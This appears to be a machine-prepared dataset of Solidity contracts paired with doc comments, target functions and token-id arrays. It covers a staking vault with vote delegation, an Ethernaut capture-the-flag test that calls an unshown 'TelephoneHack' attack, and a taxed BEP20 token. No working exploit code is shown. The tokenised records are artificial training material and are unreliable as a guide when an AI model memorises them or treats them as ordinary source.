user.pendingWithdrawals; } /** * @notice Returns the array of withdrawal requests that have not been executed yet * @param _rewardToken The Reward Token Address * @param _pid The Pool Index * @param _user The User Address */ function getWithdrawalRequests(address _rewardToken, uint256 _pid, address _user) external view returns (WithdrawalRequest[] memory) { _ensureValidPool(_rewardToken, _pid); return withdrawalRequests[_rewardToken][_pid][_user]; } // View function to see pending Atlantis on frontend. function pendingReward(address _rewardToken, uint256 _pid, address _user) external view returns (uint256) { _ensureValidPool(_rewardToken, _pid); PoolInfo storage pool = poolInfos[_rewardToken][_pid]; UserInfo storage user = userInfos[_rewardToken][_pid][_user]; uint256 accRewardPerShare = pool.accRewardPerShare; uint256 supply = pool.token.balanceOf(address(this)); uint256 curBlockNumber = block.number; uint256 rewardTokenPerBlock = rewardTokenAmountsPerBlock[_rewardToken]; if (curBlockNumber > pool.lastRewardBlock && supply != 0) { uint256 multiplier = curBlockNumber.sub(pool.lastRewardBlock); uint256 reward = multiplier.mul(rewardTokenPerBlock).mul(pool.allocPoint).div( totalAllocPoints[_rewardToken] ); accRewardPerShare = accRewardPerShare.add( reward.mul(1e12).div(supply) ); } return user.amount.mul(accRewardPerShare).div(1e12).sub(user.rewardDebt); } // Update reward vairables for all pools. Be careful of gas spending! function massUpdatePools(address _rewardToken) public { uint256 length = poolInfos[_rewardToken].length; for (uint256 pid = 0; pid < length; ++pid) { _updatePool(_rewardToken, pid); } } function updatePool(address _rewardToken, uint256 _pid) external { _ensureValidPool(_rewardToken, _pid); _updatePool(_rewardToken, _pid); } // Update reward variables of the given pool to be up-to-date. function _updatePool(address _rewardToken, uint256 _pid) internal { PoolInfo storage pool = poolInfos[_rewardToken][_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 supply = pool.token.balanceOf(address(this)); if (supply == 0) { pool.lastRewardBlock = block.number; return; } uint256 curBlockNumber = block.number; uint256 multiplier = curBlockNumber.sub(pool.lastRewardBlock); uint256 reward = multiplier.mul(rewardTokenAmountsPerBlock[_rewardToken]).mul(pool.allocPoint).div( totalAllocPoints[_rewardToken] ); pool.accRewardPerShare = pool.accRewardPerShare.add( reward.mul(1e12).div(supply) ); pool.lastRewardBlock = block.number; } function _ensureValidPool(address rewardToken, uint256 pid) internal view { require(pid < poolInfos[rewardToken].length , "vault: pool exists?"); } // Get user info with reward token address and pid function getUserInfo( address _rewardToken, uint256 _pid, address _user ) external view returns (uint256 amount, uint256 rewardDebt, uint256 pendingWithdrawals) { _ensureValidPool(_rewardToken, _pid); UserInfo storage user = userInfos[_rewardToken][_pid][_user]; amount = user.amount; rewardDebt = user.rewardDebt; pendingWithdrawals = user.pendingWithdrawals; } /** * @notice Get the Atlantis stake balance of an account (excluding the pending withdrawals) * @param account The address of the account to check * @return The balance that user staked */ function getStakeAmount(address account) internal view returns (uint96) { require(atlantisAddress != address(0), "CommunityVault::getStakeAmount: atlantis address is not set"); PoolInfo[] storage poolInfo = poolInfos[atlantisAddress]; uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { if (address(poolInfo[pid].token) == address(atlantisAddress)) { UserInfo storage user = userInfos[atlantisAddress][pid][account]; return uint96(user.amount.sub(user.pendingWithdrawals)); } } return uint96(0); } /** * @notice Update Delegates - voting power * @param delegator The address of Delegator * @param amount Updated delegate amount */ function _updateDelegate(address delegator, uint96 amount) internal { address currentDelegate = delegates[delegator]; if (currentDelegate != address(0)) { uint32 delegateRepNum = numCheckpoints[currentDelegate]; uint96 delegateRepOld = delegateRepNum > 0 ? checkpoints[currentDelegate][delegateRepNum - 1].votes : 0; _writeCheckpoint(currentDelegate, delegateRepNum, delegateRepOld, amount); } } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) external { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes("CommunityVault")), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ECDSA.recover(digest, v, r, s); require(nonce == nonces[signatory]++, "CommunityVault::delegateBySig: invalid nonce"); require(block.timestamp <= expiry, "CommunityVault::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint96) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = delegates[delegator]; uint96 delegatorBalance = getStakeAmount(delegator); delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint96 srcRepNew = sub96(srcRepOld, amount, "CommunityVault::_moveVotes: vote amount underflows"); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint96 dstRepNew = add96(dstRepOld, amount, "CommunityVault::_moveVotes: vote amount overflows"); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal { uint32 blockNumber = safe32(block.number, "CommunityVault::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function safe96(uint n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } /** * @notice Determine the atlantis stake balance for an account * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The balance that user staked */ function getPriorVotes(address account, uint256 blockNumber) external view returns (uint96) { require(blockNumber < block.number, "CommunityVault::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } /** * @dev Returns the address of the current admin */ function getAdmin() external view returns (address) { return admin; } /** * @dev Burn the current admin */ function burnAdmin() external onlyAdmin { emit AdminTransferred(admin, address(0)); admin = address(0); } /*** Admin Functions ***/ function _become(CommunityVaultProxy communityVaultProxy) external { require(msg.sender == communityVaultProxy.admin(), "only proxy admin can change brains"); require(communityVaultProxy._acceptImplementation() == 0, "change not authorized"); } function setCommunityStore(address _atlantis, address _communityStore) external onlyAdmin { address oldAtlantisContract = atlantisAddress; address oldStore = communityStore; atlantisAddress = _atlantis; communityStore = _communityStore; _notEntered = true; emit StoreUpdated(oldAtlantisContract, oldStore, _atlantis, _communityStore); } }
Update the given reward token's amount per block
function setWithdrawalLockingPeriod( address _rewardToken, uint256 _pid, uint256 _newPeriod ) external onlyAdmin { _ensureValidPool(_rewardToken, _pid); require(_newPeriod > 0, "Invalid new locking period"); PoolInfo storage pool = poolInfos[_rewardToken][_pid]; uint256 oldPeriod = pool.lockPeriod; pool.lockPeriod = _newPeriod; emit WithdrawalLockingPeriodUpdated(_rewardToken, _pid, oldPeriod, _newPeriod); }
7,273,463
[ 1, 1891, 326, 864, 19890, 1147, 1807, 3844, 1534, 1203, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 444, 1190, 9446, 287, 2531, 310, 5027, 12, 203, 3639, 1758, 389, 266, 2913, 1345, 16, 203, 3639, 2254, 5034, 389, 6610, 16, 203, 3639, 2254, 5034, 389, 2704, 5027, 203, 565, 262, 203, 3639, 3903, 203, 3639, 1338, 4446, 203, 565, 288, 203, 3639, 389, 15735, 1556, 2864, 24899, 266, 2913, 1345, 16, 389, 6610, 1769, 203, 3639, 2583, 24899, 2704, 5027, 405, 374, 16, 315, 1941, 394, 18887, 3879, 8863, 203, 3639, 8828, 966, 2502, 2845, 273, 2845, 7655, 63, 67, 266, 2913, 1345, 6362, 67, 6610, 15533, 203, 3639, 2254, 5034, 1592, 5027, 273, 2845, 18, 739, 5027, 31, 203, 3639, 2845, 18, 739, 5027, 273, 389, 2704, 5027, 31, 203, 203, 3639, 3626, 3423, 9446, 287, 2531, 310, 5027, 7381, 24899, 266, 2913, 1345, 16, 389, 6610, 16, 1592, 5027, 16, 389, 2704, 5027, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.8.10; import "ds-test/test.sol"; import "../Telephone/TelephoneHack.sol"; import "../Telephone/TelephoneFactory.sol"; import "../Ethernaut.sol"; import "./utils/vm.sol"; contract TelephoneTest is DSTest { Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D)); Ethernaut ethernaut; function setUp() public { // Setup instance of the Ethernaut contract ethernaut = new Ethernaut(); } function testTelephoneHack() public { ///////////////// // LEVEL SETUP // ///////////////// TelephoneFactory telephoneFactory = new TelephoneFactory(); ethernaut.registerLevel(telephoneFactory); vm.startPrank(tx.origin); address levelAddress = ethernaut.createLevelInstance(telephoneFactory); Telephone ethernautTelephone = Telephone(payable(levelAddress)); ////////////////// // LEVEL ATTACK // ////////////////// // Create TelephoneHack contract TelephoneHack telephoneHack = new TelephoneHack(levelAddress); // Call the attack function telephoneHack.attack(); ////////////////////// // LEVEL SUBMISSION // ////////////////////// bool levelSuccessfullyPassed = ethernaut.submitLevelInstance(payable(levelAddress)); vm.stopPrank(); assert(levelSuccessfullyPassed); } }
Setup instance of the Ethernaut contract
function setUp() public { ethernaut = new Ethernaut(); }
936,105
[ 1, 7365, 791, 434, 326, 512, 1136, 82, 5854, 6835, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 24292, 1435, 1071, 288, 203, 3639, 225, 2437, 82, 5854, 273, 394, 512, 1136, 82, 5854, 5621, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./libs/BEP20.sol"; // RivalToken with Governance. contract RivalToken is BEP20 { using SafeMath for uint256; // Transfer tax rate in basis points. (default 1%) uint16 public transferTaxRate = 100; uint16 public constant MAXIMUM_TRANSFER_TAX_RATE = 1000; // Reserve address address public reserveWallet = address(0x1431b86468D384235bDBf171bA07a73061bbf8c9); // Addresses that excluded from transfer tax mapping(address => bool) private _excludedFromTax; // Events event TransferTaxRateUpdated(address indexed owner, uint256 previousRate, uint256 newRate); event AccountExcludedFromTax(address indexed account, bool excluded); event ReserveWalletUpdated(address indexed oldAddress, address indexed newAddress); event BnbRecovered(address indexed owner, uint256 balance); /** * @notice Constructs the RivalToken contract. */ constructor() public BEP20("Bit Rivals", "$RIVAL") { _excludedFromTax[msg.sender] = true; _excludedFromTax[address(0)] = true; _excludedFromTax[address(this)] = true; _excludedFromTax[reserveWallet] = true; mint(msg.sender, 10**17); } /// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef). function mint(address _to, uint256 _amount) internal onlyOwner { _mint(_to, _amount); _moveDelegates(address(0), _delegates[_to], _amount); } /** * @dev Recover bnb in the token contract * */ function recoverBnb() external onlyOwner { require(address(this).balance > 0, "No balance"); emit BnbRecovered(owner(), address(this).balance); payable(msg.sender).transfer(address(this).balance); } /// @dev overrides transfer function to meet tokenomics of RIVAL function _transfer(address sender, address recipient, uint256 amount) internal virtual override { if (_excludedFromTax[sender] || _excludedFromTax[recipient] || transferTaxRate == 0) { super._transfer(sender, recipient, amount); _moveDelegates(_delegates[sender], _delegates[recipient], amount); } else { // default tax is 1% of every transfer uint256 taxAmount = amount.mul(transferTaxRate).div(10000); // default 99% of transfer sent to recipient uint256 sendAmount = amount.sub(taxAmount); require(amount == sendAmount.add(taxAmount), "RIVAL::transfer: Tax value invalid"); super._transfer(sender, reserveWallet, taxAmount); super._transfer(sender, recipient, sendAmount); _moveDelegates(_delegates[sender], _delegates[recipient], sendAmount); _moveDelegates(_delegates[sender], _delegates[reserveWallet], taxAmount); } } // To receive BNB receive() external payable {} /** * @dev Update the reserve wallet. * Can only be called by the current reserve address. */ function updateReserveWallet(address _newWallet) external { require(msg.sender == reserveWallet, "RIVAL::updateReserveWallet: Invalid operation"); require(_newWallet != address(0), "RIVAL::updateReserveWallet: Invalid new reserve wallet"); emit ReserveWalletUpdated(reserveWallet, _newWallet); reserveWallet = _newWallet; } /** * @dev Update the transfer tax rate. * Can only be called by the current owner. */ function updateTransferTaxRate(uint16 _transferTaxRate) public onlyOwner { require(_transferTaxRate <= MAXIMUM_TRANSFER_TAX_RATE, "RIVAL::updateTransferTaxRate: Transfer tax rate must not exceed the maximum rate."); emit TransferTaxRateUpdated(msg.sender, transferTaxRate, _transferTaxRate); transferTaxRate = _transferTaxRate; } /** * @dev Exclude or include an address from transfer tax. * Can only be called by the current owner. */ function setExcludedFromTax(address _account, bool _excluded) public onlyOwner { require(_excludedFromTax[_account] != _excluded, "RIVAL::setExcludedFromTax: Already set"); emit AccountExcludedFromTax(_account, _excluded); _excludedFromTax[_account] = _excluded; } // Copied and modified from YAM code: // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol // Which is copied and modified from COMPOUND: // https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol /// @dev A record of each accounts delegate mapping (address => address) internal _delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint256 fromBlock; uint256 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint256 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint256) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegator The address to get delegatee for */ function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode( DELEGATION_TYPEHASH, delegatee, nonce, expiry ) ); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, structHash ) ); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "RIVAL::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "RIVAL::delegateBySig: invalid nonce"); require(now <= expiry, "RIVAL::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint256) { uint256 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints.sub(1)].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "RIVAL::getPriorVotes: not yet determined"); uint256 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints.sub(1)].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints.sub(1)].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint256 lower = 0; uint256 upper = nCheckpoints.sub(1); while (upper > lower) { uint256 center = upper.sub(upper.sub(lower).div(2)); // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center.sub(1); } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = balanceOf(delegator); // balance of underlying RIVALs (not scaled); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint256 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum.sub(1)].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint256 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum.sub(1)].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint256 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal { uint256 blockNumber = block.number; if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints.sub(1)].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints.sub(1)].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints.add(1); } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } }
* @dev Update the transfer tax rate. Can only be called by the current owner./
function updateTransferTaxRate(uint16 _transferTaxRate) public onlyOwner { require(_transferTaxRate <= MAXIMUM_TRANSFER_TAX_RATE, "RIVAL::updateTransferTaxRate: Transfer tax rate must not exceed the maximum rate."); emit TransferTaxRateUpdated(msg.sender, transferTaxRate, _transferTaxRate); transferTaxRate = _transferTaxRate; }
2,504,984
[ 1, 1891, 326, 7412, 5320, 4993, 18, 4480, 1338, 506, 2566, 635, 326, 783, 3410, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1089, 5912, 7731, 4727, 12, 11890, 2313, 389, 13866, 7731, 4727, 13, 1071, 1338, 5541, 288, 203, 3639, 2583, 24899, 13866, 7731, 4727, 1648, 4552, 18605, 67, 16596, 6553, 67, 56, 2501, 67, 24062, 16, 315, 2259, 2669, 2866, 2725, 5912, 7731, 4727, 30, 12279, 5320, 4993, 1297, 486, 9943, 326, 4207, 4993, 1199, 1769, 203, 3639, 3626, 12279, 7731, 4727, 7381, 12, 3576, 18, 15330, 16, 7412, 7731, 4727, 16, 389, 13866, 7731, 4727, 1769, 203, 3639, 7412, 7731, 4727, 273, 389, 13866, 7731, 4727, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
